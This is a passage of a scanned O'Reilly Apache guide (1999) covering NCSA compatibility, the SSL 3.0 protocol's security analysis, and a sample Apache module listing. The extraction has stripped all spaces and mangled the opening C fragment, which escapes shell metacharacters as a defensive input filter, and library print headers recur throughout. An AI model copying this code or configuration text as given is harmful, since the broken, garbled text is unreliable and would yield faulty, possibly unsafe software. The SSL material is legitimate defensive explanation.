for(x=0cmd[x]x++){
if(ind("&'.q\"|*?~<>^(){}$\\",cmd[x]!=1){
for(y=1+1y>xy)
cmd[y]=cmd[y1]
l++/*lengthhasbeenincreased*/
cmd[x]='\\'.
x++/*skipthecharacter*/
}
}
}
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page337
C
NCSAandApacheCompatibility
ThisemailwassentbyAlexeiKosuttothemembersoftheApacheGrouptoexplainthecompatibilityproblemsbetweentheNCSAserverandApache1.1.1.
TherehasbeensomediscussionlatelyabouttheendofNCSAhttpddevelopment,andApachereplacingitforonceandall,andsoforthandsoon
anyhow,IjustthoughtI'dtakethisopportunitytopointoutwhatNCSAhttpd1.5.2doesthatApachedoesnotcurrentlydo,featureandconfigfilewise:
NCSAsupplementstheRedirectdirectivewiththeRedirectTempandRedirectPermanentdirectives,toallowfor301redirectsaswellas
302.Thisisverysimpletodo.
NCSAoptionallysupportsKerberosauthentication.Iknowthere'samoduleouttherethatdoesaswellisitcompatiblewiththeNCSAsyntax?
Speakingofauthsyntax,NCSA'sdbmimplementationisdifferentthanours.Namely,whereweuse:
AuthUserFile/some/flat/file
AuthDBMUserFile/some/dbm/file
NCSAuses:
AuthUserFile/some/flat/filestandard
AuthUserFile/some/dbm/filedbm
(the''standard"isoptional).ThisalsoappliestoAuthGroupFileandAuthDigestFile.Unfortunately,thisisn'treallypossiblewiththecurrent
Apacheconfigfilehandling.Iwonderifmaybeweshouldn'textendtheconfigfilehandlingroutinestoallowmorethanonemoduletohavethesamedirective
(withthesamemaskandarglist,hopefully),andallowthemto"decline"tohandleit,ashandlerswork.Thisshouldn'tbethathard.I'dlookintoit.
Satisfy.Thereareenoughpatchesfloatingaroundcan'twejustcommitonealready(onethatworks,hopefully)?
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page338
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
TheKeepAlivesyntaxinNCSAhttpdisdifferentfromours.KeepAliveTimeoutisthesameinboth,butweuseKeepAlivewheretheyuse
MaxKeepAliveRequests(and0meansdifferentthingsinthetwo),andtheyhaveanadditionalKeepAliveOn/Offdirective.Itcanbemadetowork,it
justdoesn'tnow.
NCSAsupportsCERNimagemapformataswellasNCSA.Dowe?(Iforget.Weshould.)
NCSAsupportsSSIparsedCGIoutputoptionally.Idon'tthinkweshoulddothis,atleastnotuntil2.0(SSIcouldberewrittenasafilterofsorts,implemented
withastackeddisciplineorsomesuch).
Youcanuse"refererallowdeny"inaccesscontrolsectionstodenyorallowrequestsbasedontheRefererheader.Thisiswhat
mod_block.c(in/dist/contrib/modules)does,butwithvastlydifferentsyntax.
Redirectdoesn'trequireafullURL:ifyouomittheservername,itwillredirecttothelocalserver.
"Redirectsinhtaccessfilescannowtakeregularexpressions."Ihavenoideawhatthismeans,butthat'swhatitsaysinthereleasenotes.Icanfindno
evidenceofanythingregularexpressionlikeinthecode.
BuiltinFastCGIsupport.Thiswouldbetrivialjustgrabmod_fastcgiandaddittothedistribution(theyevenincludeamod_fastcgi.htmlinjustthe
rightformattoaddtoourdocs.Niceof'em).Theirlicenseevenletsusdoitwithoutaskingthemfirst(thoughitwouldprobablybepoliteto).Thismightbea
goodidea(ornotthething's97k,evenlargerthanmod_rewriteandmod_proxy),FastCGIseemsprettyniceandwelldesigned(evenifhalfof
theirwebsiteisanadfortheirwebserver).Doesanyonehaveanyexperiencewithit?
Ithinkthat'saboutit.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page339
D
SSLProtocol
ThisappendixreproducesverbatimtheSSLprotocolspecificationfromhttp://home.netspace.com/eng/ss13/ssltoc.html.
TheSSLprotocolisdesignedtoestablishasecureconnectionbetweenaclientandaservercommunicatingoveraninsecurechannel.Thisdocumentmakesseveral
traditionalassumptions,includingthatattackershavesubstantialcomputationalresourcesandcannotobtainsecretinformationfromsourcesoutsidetheprotocol.
Attackersareassumedtohavetheabilitytocapture,modify,delete,replay,andotherwisetamperwithmessagessentoverthecommunicationchannel.Thefollowing
materialoutlineshowSSLhasbeendesignedtoresistavarietyofattacks.
HandshakeProtocol
ThehandshakeprotocolisresponsibleforselectingaCipherSpecandgeneratingaMasterSecret,whichtogethercomprisetheprimarycryptographicparameters
associatedwithasecuresession.Thehandshakeprotocolcanalsooptionallyauthenticatepartieswhohavecertificatessignedbyatrustedcertificateauthority.
AuthenticationandKeyExchange
SSLsupportsthreeauthenticationmodes:authenticationofbothparties,serverauthenticationwithanunauthenticatedclient,andtotalanonymity.Whenevertheserver
isauthenticated,thechannelshouldbesecureagainstmaninthemiddleattacks,butcompletelyanonymoussessionsareinherentlyvulnerabletosuchattacks.
Anonymousserverscannotauthenticateclients,sincetheclientsignatureinthecertificateverifymessagemayrequireaservercertificatetobindthesignaturetoa
particularserver.Iftheserverisauthenticated,itscertificatemessagemustprovideavalidcertificatechainleadingtoanacceptablecertificateauthority.Similarly,
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page340
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
authenticatedclientsmustsupplyanacceptablecertificatetotheserver.Eachpartyisresponsibleforverifyingthattheother'scertificateisvalidandhasnotexpiredor
beenrevoked.
Thegeneralgoalofthekeyexchangeprocessistocreateapre_master_secretknowntothecommunicatingpartiesandnottoattackers.Thepre_master_secret
willbeusedtogeneratethemaster_secret.Themaster_secretisrequiredtogeneratethefinishedmessages,encryptionkeys,andMACsecrets.Bysendingacorrect
finishedmessage,partiesprovethattheyknowthecorrectpre_master_secret.
Anonymouskeyexchange
CompletelyanonymoussessionscanbeestablishedusingRSA,DiffieHellman,orFortezzaforkeyexchange.WithanonymousRSA,theclientencryptsa
pre_master_secretwiththeserver'suncertifiedpublickeyextractedfromtheserverkeyexchangemessage.Theresultissentinaclientkeyexchangemessage.Since
eavesdroppersdonotknowtheserver'sprivatekey,itwillbeinfeasibleforthemtodecodethepre_master_secret.
WithDiffieHellmanorFortezza,theserver'spublicparametersarecontainedintheserverkeyexchangemessageandtheclient'saresentintheclientkeyexchange
message.EavesdropperswhodonotknowtheprivatevaluesshouldnotbeabletofindtheDiffieHellmanresult(i.e.,thepre_master_secret)ortheFortezzatoken
encryptionkey(TEK).
Completelyanonymousconnectionsonlyprovideprotectionagainstpassiveeavesdropping.Unlessanindependenttamperproofchannelis
usedtoverifythatthefinishedmessageswerenotreplacedbyanattacker,serverauthenticationisrequiredinenvironmentswhereactivemaninthe
middleattacksareaconcern.
RSAkeyexchangeandauthentication
WithRSA,keyexchangeandserverauthenticationarecombined.Thepublickeymaybeeithercontainedintheserver'scertificateormaybeatemporaryRSAkey
sentinaserverkeyexchangemessage.WhentemporaryRSAkeysareused,theyaresignedbytheserver'sRSAorDSScertificate.Thesignatureincludesthe
currentClientHello.random,sooldsignaturesandtemporarykeyscannotbereplayed.ServersmayuseasingletemporaryRSAkeyformultiple
negotiationsessions.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page341
ThetemporaryRSAkeyoptionisusefulifserversneedlargecertificatesbutmustcomplywithgovernmentimposedsizelimitsonkeysused
forkeyexchange.
Afterverifyingtheserver'scertificate,theclientencryptsapre_master_secretwiththeserver'spublickey.Bysuccessfullydecodingthepre_master_secretand
producingacorrectfinishedmessage,theserverdemonstratesthatitknowstheprivatekeycorrespondingtotheservercertificate.
WhenRSAisusedforkeyexchange,clientsareauthenticatedusingthecertificateverifymessage(seeSection7.6.8).Theclientsignsavaluederivedfromthe
master_secretandallprecedinghandshakemessages.Thesehandshakemessagesincludetheservercertificate,whichbindsthesignaturetotheserver,and
ServerHello.random,whichbindsthesignaturetothecurrenthandshakeprocess.
DiffieHellmankeyexchangewithauthentication
WhenDiffieHellmankeyexchangeisused,theservercaneithersupplyacertificatecontainingfixedDiffieHellmanparametersorusetheclientkeyexchange
messagetosendasetoftemporaryDiffieHellmanparameterssignedwithaDSSorRSAcertificate.Temporaryparametersarehashedwiththehello.random
valuesbeforesigningtoensurethatattackersdonotreplayoldparameters.Ineithercase,theclientcanverifythecertificateorsignaturetoensurethattheparameters
belongtotheserver.
IftheclienthasacertificatecontainingfixedDiffieHellmanparameters,itscertificatecontainstheinformationrequiredtocompletethekeyexchange.Notethatinthis
casetheclientandserverwillgeneratethesameDiffieHellmanresult(i.e.,pre_master_secret)everytimetheycommunicate.Topreventthepre_master_secret
fromstayinginmemoryanylongerthannecessary,itshouldbeconvertedintothemaster_secretassoonaspossible.ClientDiffieHellmanparametersmustbe
compatiblewiththosesuppliedbytheserverforthekeyexchangetowork.
IftheclienthasastandardDSSorRSAcertificateorisunauthenticated,itsendsasetoftemporaryparameterstotheserverintheclientkeyexchangemessage,then
optionallyusesacertificateverifymessagetoauthenticateitself.
Fortezza
Fortezza'sdesignisclassified,butattheprotocollevelitissimilartoDiffieHellmanwithfixedpublicvaluescontainedincertificates.Theresultofthekeyexchange
processisthetokenencryptionkey(TEK),whichisusedtowrapdataencryptionkeys,clientwritekey,serverwritekey,andmastersecretencryption
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page342
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
key.Thedataencryptionkeysarenotderivedfromthepre_master_secretbecauseunwrappedkeysarenotaccessibleoutsidethetoken.Theencrypted
pre_master_secretissenttotheserverinaclientkeyexchangemessage.
VersionRollbackAttacks
BecauseSSLVersion3.0includessubstantialimprovementsoverSSLVersion2.0,attackersmaytrytomakeVersion3.0capableclientsandserversfallbackto
Version2.0.Thisattackoccursif(andonlyif)twoVersion3.0capablepartiesuseanSSL2.0handshake.
AlthoughthesolutionusingnonrandomPKCS#1blocktype2messagepaddingisinelegant,itprovidesareasonablysecurewayforVersion3.0serverstodetect
theattack.ThissolutionisnotsecureagainstattackerswhocanbruteforcethekeyandsubstituteanewENCRYPTEDKEYDATAmessagecontainingthesame
key(butwithnormalpadding)beforetheapplicationspecifiedwaitthresholdhasexpired.Partiesconcernedaboutattacksofthisscaleshouldnotbeusing40bit
encryptionkeysanyway.Alteringthepaddingoftheleastsignificant8bytesofthePKCSpaddingdoesnotimpactsecurity,sincethisisessentiallyequivalentto
increasingtheinputblocksizeby8bytes.
DetectingAttacksAgainsttheHandshakeProtocol
Anattackermighttrytoinfluencethehandshakeexchangetomakethepartiesselectdifferentencryptionalgorithmsthantheywouldnormallychoose.Becausemany
implementationswillsupport40bitexportableencryptionandsomemayevensupportnullencryptionorMACalgorithms,thisattackisofparticularconcern.
Forthisattack,anattackermustactivelychangeoneormorehandshakemessages.Ifthisoccurs,theclientandserverwillcomputedifferentvaluesforthehandshake
messagehashes.Asaresult,thepartieswillnotaccepteachothers'finishedmessages.Withoutthemaster_secret,theattackercannotrepairthefinishedmessages,
sotheattackwillbediscovered.
ResumingSessions
Whenaconnectionisestablishedbyresumingasession,newClientHello.randomandServerHello.randomvaluesarehashedwiththesession'smaster_secret.
Providedthatthemaster_secrethasnotbeencompromisedandthatthehashoperationsusedtoproducetheencryptionkeysandMACsecretsaresecure,the
connectionshouldbesecureandeffectivelyindependentfrompreviousconnections.AttackerscannotuseknownencryptionkeysorMACsecretstocompromisethe
master_secretwithoutbreakingthesecurehashoperations(whichusebothSHAandMD5).
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page343
Sessionscannotberesumedunlessboththeclientandserveragree.Ifeitherpartysuspectsthatthesessionmayhavebeencompromised,orthatcertificatesmayhave
expiredorbeenrevoked,itshouldforceafullhandshake.Anupperlimitof24hoursissuggestedforsessionIDlifetimes,sinceanattackerwhoobtainsa
master_secretmaybeabletoimpersonatethecompromisedpartyuntilthecorrespondingsessionIDisretired.Applicationsthatmayberuninrelativelyinsecure
environmentsshouldnotwritesessionIDstostablestorage.
MD5andSHA
SSLuseshashfunctionsveryconservatively.Wherepossible,bothMD5andSHAareusedintandemtoensurethatnoncatastrophicflawsinonealgorithmwillnot
breaktheoverallprotocol.
ProtectingApplicationData
Themaster_secretishashedwiththeClientHello.randomandServerHello.randomtoproduceuniquedataencryptionkeysandMACsecretsforeachconnection.
Fortezzaencryptionkeysaregeneratedbythetoken,andarenotderivedfromthemaster_secret.
OutgoingdataisprotectedwithaMACbeforetransmission.Topreventmessagereplayormodificationattacks,theMACiscomputedfromtheMACsecret,the
sequencenumber,themessagelength,themessagecontents,andtwofixedcharacterstrings.Themessagetypefieldisnecessarytoensurethatmessagesintendedfor
oneSSLRecordLayerclientarenotredirectedtoanother.Thesequencenumberensuresthatattemptstodeleteorreordermessageswillbedetected.Since
sequencenumbersare64bitslong,theyshouldneveroverflow.Messagesfromonepartycannotbeinsertedintotheother'soutput,sincetheyuseindependentMAC
secrets.Similarly,theserverwriteandclientwritekeysareindependentsostreamcipherkeysareusedonlyonce.
Ifanattackerdoesbreakanencryptionkey,allmessagesencryptedwithitcanberead.Similarly,compromiseofaMACkeycanmakemessagemodification
attackspossible.BecauseMACsarealsoencrypted,messagealterationattacksgenerallyrequirebreakingtheencryptionalgorithmaswellastheMAC.
MACsecretsmaybelargerthanencryptionkeys,somessagescanremaintamperresistantevenifencryptionkeysarebroken.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page344
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
FinalNotes
ForSSLtobeabletoprovideasecureconnection,boththeclientandserversystems,keys,andapplicationsmustbesecure.Inaddition,theimplementationmustbe
freeofsecurityerrors.
Thesystemisonlyasstrongastheweakestkeyexchangeandauthenticationalgorithmsupported,andonlytrustworthycryptographicfunctionsshouldbeused.Short
publickeys,40bitbulkencryptionkeys,andanonymousserversshouldbeusedwithgreatcaution.Implementationsandusersmustbecarefulwhendecidingwhich
certificatesandcertificateauthoritiesareacceptableadishonestcertificateauthoritycandotremendousdamage.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page345
E
SampleApacheLog
ApacheServerInformation
ServerSettings,mod_so.c,mod_unique_id.c,mod_setenvif.mod_usertrack.c,
mod_headers.c,mod_expires.c,mod_digest.c,mod_auth_db.c,
mod_auth_anon.c,mod_auth.c,mod_access.c,mod_rewrite.c,mod_alias.c,mod_proxy.c,
mod_userdir.c,mod_speling.c,mod_actions.c,mod_imap.c,mod_asis.c,
mod_cgi.c,mod_dir.c,mod_autoindex.c,mod_include.c,mod_info.c,
mod_status.c,mod_negotiation.c,mod_mime.c,mod_mime_magic.c,
mod_log_config.c,mod_env.c,
http_core.c
ServerVersion:Apache/1.3.0(Unix)
ServerBuilt:Jul8199813:31:06
APIVersion:19980527
RunMode:standalone
User/Group:webuser(001)/1001
Hostname/port:www.butterthlies.com:0
Daemons:start:5minidle:5maxidle:10max:256
MaxRequests:perchild:0keepalive:onmaxperconnection:100
Threads:perchild:0
Excessrequests:perchild:0
Timeouts:connection:300keepalive:15
ServerRoot:/usr/www/site.status
ConfigFile:conf/httpd.conf
PIDFile:logs/httpd.pid
ScoreboardFile:logs/apache_runtime_status
ModuleName:mod_so.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateServerConfig
RequestPhaseParticipation:none
ModuleDirectives:
LoadModuleamodulenameandthenameofasharedobjectfiletoloadit
fromLoadFilesharedobjectfileorlibrarytoloadintotheserver
atruntime
CurrentConfiguration:
ModuleName:mod_unique_id.c
Contenthandlers:none
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page346
ConfigurationPhaseParticipation:ChildInit
RequestPhaseParticipation:PostReadRequest
ModuleDirectives:none
ModuleName:mod_setenvif.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateServerConfig,MergeServerConfigs
RequestPhaseParticipation:PostReadRequest
ModuleDirectives:
SetEnvIfAheadername,regexandalistofvariables.
SetEnvIfNoCaseaheadername,regexandalistofvariables.
BrowserMatchAbrowserregexandalistofvariables.
BrowserMatchNoCaseAbrowserregexandalistofvariables.
CurrentConfiguration:
ModuleName:mod_usertrack.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateDirectoryConfig,CreateServerConfig
RequestPhaseParticipation:Fixups
ModuleDirectives:
CookieExpiresanexpirydatecode
CookieTrackingwhetherornottoenablecookiesCurrentConfiguration:
ModuleName:mod_headers.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateDirectoryConfig,MergeDirectory
Configs,CreateServerConfig,MergeServerConfigsRequestPhaseParticipation:Fixups
ModuleDirectives:
Headeranaction,headerandvalue
CurrentConfiguration:
ModuleName:mod_expires.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateDirectoryConfig,
MergeDirectoryConfigs
RequestPhaseParticipation:Fixups
ModuleDirectives:
ExpiresActiveLimitedtoonoroff
ExpiresBytypeaMIMEtypefollowedbyanexpirydatecode
ExpiresDefaultanexpirydatecode
CurrentConfiguration:
ModuleName:mod_digest.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateDirectoryConfig
RequestPhaseParticipation:VerifyUserID,VerifyUserAccess
ModuleDirectives:
AuthDigestFile
CurrentConfiguration:
ModuleName:mod_auth_db.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateDirectoryConfig
RequestPhaseParticipation:VerifyUserID,VerifyUserAccess
ModuleDirectives:
AuthDBUserFile
AuthDBGroupFile
AuthUserFile
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page347
AuthGroupFile
AuthDBAuthoritativeSettonotoallowaccesscontroltobepassedalong
tolowermodulesiftheuserIDisnotknowntothismodule
CurrentConfiguration:
ModuleName:mod_auth_anon.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateDirectoryConfig
RequestPhaseParticipation:VerifyUserID,VerifyUserAccess
ModuleDirectives:
AnonymousaspaceseparatedlistofuserIDs
Anonymous_MustGiveEmailLimitedtoonoroff
Anonymous_NoUserIdLimitedtoonoroff
Anonymous_VerifyEmailLimitedtoonoroff
Anonymous_LogEmailLimitedtoonoroff
Anonymous_AuthoritativeLimitedtoonoroff
CurrentConfiguration:
ModuleName:mod_auth.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateDirectoryConfig
RequestPhaseParticipation:VerifyUserID,VerifyUserAccess
ModuleDirectives:
AuthUserFiletextfilecontaininguserIDSandpasswords
AuthGroupFiletextfilecontaininggroupnamesandmemberuserIDs
AuthAuthoritativeSettonotoallowaccesscontroltobepassedalong
tolowermodulesiftheUserIDisnotknowntothismodule
CurrentConfiguration:
ModuleName:mod_access.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateDirectoryConfig
RequestPhaseParticipation:CheckAccess
ModuleDirectives:
orderallow,deny,deny,allow,ormutualfailure
allowfromfollowedbyhostnamesorIPaddresswildcards
denyfromfollowedbyhostnamesorIPaddresswildcards
CurrentConfiguration
httpd.conf
<Location/status>
<Limitget>
orderdeny,allow
allowfrom192.168.123.1
denyfromall
</Limit>
</Location>
<Location/info>
<Limitget>
orderdeny,allow
allowfrom192.168.123.1
denyfromall
</Limit>
</Location>
ModuleName:mod_rewrite.c
Contenthandlers:redirecthandler
ConfigurationPhaseParticipation:ChildInit,CreateDirectoryConfig,Merge
DirectoryConfigs,CreateServerConfig,MergeServerConfigs
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page348
RequestPhaseParticipation:TranslatePath,CheckType,Fixups
ModuleDirectives:
RewriteEngineOnorOfftoenableordisable(default)thewholerewriting
engine
RewriteOptionsListofoptionstringstoset
RewriteBasethebaseURL,oftheperdirectorycontext
RewriteCondainputstringandatobeappliedregexppattern
RewriteRuleaURLappliedregexppatternandasubstitutionURL
RewriteMapamapnameandaComponent
RewriteLocktheComponentofalockfileusedforinterprocess
synchronization
RewriteLogtheComponentoftherewritinglogfile
RewriteLogLeveltheleveloftherewritinglogfileverbosity(0=none,
I=std,..,9=max)
CurrentConfiguration:
ModuleName:mod_alias.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateDirectoryConfig,MergeDirectory
Configs,CreateServerConfig,MergeServerConfigs
RequestPhaseParticipation:TranslatePath,Fixups
ModuleDirectives:
Aliasafakenameandarealname
ScriptAliasafakenameandarealname
Redirectanoptionalstatus,thendocumenttoberedirectedand
destinationURL
AliasMatcharegularexpressionandaComponent
ScriptAliasMatcharegularexpressionandaComponent
RedirectMatchanoptionalstatus,thenaregularexpressionand
destinationURL
RedirectTempadocumenttoberedirected,thenthedestinationURL
RedirectPermanentadocumenttoberedirected,thenthedestinationURL
CurrentConfiguration:
ModuleName:mod_proxy.c
Contenthandlers:proxyserver
ConfigurationPhaseParticipation:CreateServerConfig
RequestPhaseParticipation:PostReadRequest,TranslatePath,Fixups
ModuleDirectives:
ProxyRequestsonifthetrueproxyrequestsshouldbeaccepted
ProxyRemoteascheme,partialURLor*andaproxyserver
ProxyPassavirtualpathandaURL
ProxyPassReverseavirtualpathandaURLforreverseproxybehaviour
ProxyBlockAlistofnames,hostsordomainstowhichtheproxywillnotconnect
ProxyReceiveBufferSizeReceivebuffersizeforoutgoingHTTPandFTPconnectionsinbytes
NoProxyAlistofdomains,hosts,orsubnetstowhichtheproxywillconnectdirectly
ProxyDomainThedefaultintranetdomainname(inabsenceofadomainintheURL)
CacheRootThedirectorytostorecachefiles
CacheSizeThemaximumdiskspaceusedbythecacheinKb
CacheMaxExpireThemaximumtimeinhourstocacheadocument
CacheDefaultExpireThedefaulttimeinhourstocacheadocument
CacheLastModifiedFactorThefactorusedtoestimateExpiresdatefrom
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page349
LastModifieddate
CacheGcIntervalTheintervalbetweengarbagecollections,inhours
CacheDirLevelsThenumberoflevelsofsubdirectoriesinthecache
CacheDirLengthThenumberofcharactersinsubdirectorynames
NoCacheAlistofnames,hostsordomainsforwhichcachingis*not*
provided
CurrentConfiguration:
ModuleName:mod_userdir.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateServerConfig
RequestPhaseParticipation:TranslatePath
ModuleDirectives:
UserDirthepublicsubdirectoryinusers'homedirectories,
ordisabled,ordisabledusernameusername,orenabledusernameusername
CurrentConfiguration:
ModuleName:mod_speling.c
Contenthandlers:none
ConfigurationPhaseParticipation:CreateServerConfig
RequestPhaseParticipation:Fixups
ModuleDirectives:
CheckSpellingwhetherornottofixmiscapitalized/misspelledrequests
CurrentConfiguration:
ModuleName:mod_actions.c
Contenthandlers:*/*
ConfigurationPhaseParticipation:CreateDirectoryConfig,MergeDirectory
Configs
RequestPhaseParticipation:none
ModuleDirectives:
Actionamediatypefollowedbyascriptname
Scriptamethodfollowedbyascriptname
CurrentConfiguration:
ModuleName:mod_imap.c
Contenthandlers:application/xhttpdimap,imapfile
ConfigurationPhaseParticipation:CreateDirectoryConfig,MergeDirectory
Configs
RequestPhaseParticipation:none
ModuleDirectives:
ImapMenuthetypeofmenugenerated:none,formatted,semiformatted,
unformatted
ImapDefaulttheactiontakenifnomatch:error,nocontent,referer,menu,
URL
ImapBasethebaseforallURL's:map,referer,URL(orstartof)
CurrentConfiguration:
ModuleName:mod_asis.c
Contenthandlers:httpd/sendasis,sendasis
ConfigurationPhaseParticipation:none
RequestPhaseParticipation:none
ModuleDirectives:none
ModuleName:mod_cgi.c
Contenthandlers:application/xhttpdcgi,cgiscript
ConfigurationPhaseParticipation:CreateServerConfig,MergeServerConfigs
RequestPhaseParticipation:none
ModuleDirectives:
ScriptLogthenameofalogforscriptdebugginginfo
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page350
ScriptLogLengththemaximumlength(inbytes)ofthescriptdebuglog
ScriptLogBufferthemaximumsize(inbytes)torecordofPOSTrequest
CurrentConfiguration:
ModuleName:mod_dir.c
Contenthandlers:httpd/unixdirectory
ConfigurationPhaseParticipation:CreateDirectoryConfig,MergeDirector
Configs
RequestPhaseParticipation:none
ModuleDirectives
AddIconaniconURLfollowedbyoneormoreComponent
AddIconByTypeaniconURLfollowedbyoneormoreMIMEtypes
AddIconByEncodinganiconURLfollowedbyoneormorecontentencodings
AddAltalternatedescriptivetextfollowedbyoneormoreComponents
AddAltByType
alternatedescriptivetextfollowedbyoneormoreMIMEtypesAddAltByEncoding
alternatedescriptivetextfollowedbyoneormore
contentencodings
IndexOptionsoneormoreindexoptions
IndexIgnoreoneormorefileextensions
AddDescriptionDescriptivetextfollowedbyoneormoreComponent
HeaderNameaComponent
ReadmeNameaComponent
FancyIndexingLimitedto'on'or'off'(supersededbyIndexOptionsFancyIndexing)
DefaultIconaniconUR
CurrentConfiguration:
ModuleName:mod_include.c
Contenthandlers:text/xserverparsedhtml,text/xserverparsedhtml3,serverparsed,text/html
ConfigurationPhaseParticipation:CreateDirectoryConfig
RequestPhaseParticipation:none
ModuleDirectives:
XBitHackOff,On,orFull
CurrentConfiguration:
ModuleName:mod_info.c
Contenthandlers:serverinfo
ConfigurationPhaseParticipation:CreateServerConfig,MergeServerConfigs
RequestPhaseParticipation:none
ModuleDirectives
AddModuleInfoamodulnameandadditionalinformationonthatmodule
CurrentConfiguration:
ModuleName:mod_status.c
Contenthandlers:application/xhttpdstatus,serverstatus
ConfigurationPhaseParticipation:none
RequestPhaseParticipation:none
ModuleDirectives:none
ModuleName:mod_negotiation.c
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page351
Contenthandlers:application/xtypemap,typemap
ConfigurationPhaseParticipation:CreateDirectoryConfig,MergeDirectory
Configs
RequestPhaseParticipation:CheckType,Fixups
ModuleDirectives:
CacheNegotiatedDocsnoarguments(eitherpresentorabsent)
LanguagePriorityspacedelimitedlistofMIMElanguageabbreviations
